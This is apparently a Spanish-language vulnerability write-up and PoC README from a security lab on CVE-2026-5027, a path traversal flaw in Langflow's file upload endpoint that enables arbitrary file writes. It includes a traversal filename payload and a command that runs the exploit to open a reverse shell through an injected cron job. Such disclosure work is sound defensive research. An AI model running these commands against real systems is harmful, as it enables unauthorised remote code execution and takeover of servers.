
Langflow, Ejecución Remota de Código (RCE) mediante Inyección de Cron Jobs a través de Path Traversal
Esta publicación es un artículo de investigación publicado por EQSTLab.
Gracias a Yahia Hamza, quien reportó y analizó esta vulnerabilidad.
★ CVE-2026-5027 Langflow Path Traversal / Escritura Arbitraria de Archivos PoC ★

CVE-2026-5027: Vulnerabilidad de Escritura Arbitraria de Archivos en Langflow
descripción: Una vulnerabilidad de path traversal en Langflow <= 1.8.4 permite a los atacantes escribir archivos arbitrarios fuera del directorio de carga previsto mediante un filename multipart manipulado enviado al endpoint /api/v2/files. En implementaciones donde el auto-login está habilitado o la autenticación está débilmente aplicada, este problema puede aprovecharse para lograr ejecución remota de código escribiendo contenido controlado por el atacante en ubicaciones sensibles del sistema de archivos.
Construye y ejecuta el entorno vulnerable con Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Endpoint Vulnerable
POST /api/v2/files
El problema existe porque la funcionalidad de carga confía en el valor filename multipart proporcionado por el cliente. En lugar de generar un nombre de almacenamiento seguro en el servidor o restringir la ruta resuelta a un directorio de carga dedicado, la ruta de código vulnerable permite que secuencias de traversal como ../ influyan en la ruta final de destino.
Como resultado, un atacante puede escapar de la raíz de almacenamiento prevista y forzar a la aplicación a escribir archivos en ubicaciones arbitrarias del sistema de archivos del servidor.
Un flujo de explotación representativo es el siguiente:
/api/v2/files.filename manipulado que contenga secuencias de path traversal.Esto es fundamentalmente un problema de CWE-22: Limitación Incorrecta de una Ruta a un Directorio Restringido.
La falla de seguridad se debe a una sanitización y validación insuficientes de las rutas de archivo controladas por el usuario durante el manejo de cargas. La aplicación acepta el nombre de archivo original del cliente y lo pasa al flujo de almacenamiento sin aplicar adecuadamente la normalización y contención de rutas.
Desde un punto de vista defensivo, el patrón peligroso es conceptualmente similar al siguiente:
save_path = base_dir / file.filename
Si file.filename contiene componentes de path traversal como:
../../../../tmp/poc.txt
la ruta final resuelta puede apuntar fuera de base_dir, lo que permite la escritura arbitraria de archivos.
Las vulnerabilidades de escritura arbitraria de archivos suelen ser más graves que los problemas estándar de carga sin restricciones porque el atacante controla no solo el contenido del archivo, sino también la ruta de destino. Dependiendo de los privilegios de ejecución del proceso de Langflow, esto puede permitir:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Este repositorio no está destinado a facilitar la explotación no autorizada de instancias de Langflow. El propósito de este proyecto es ayudar a investigadores de seguridad, defensores y desarrolladores a comprender la vulnerabilidad, validar la exposición en entornos controlados y aplicar mitigaciones efectivas.
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027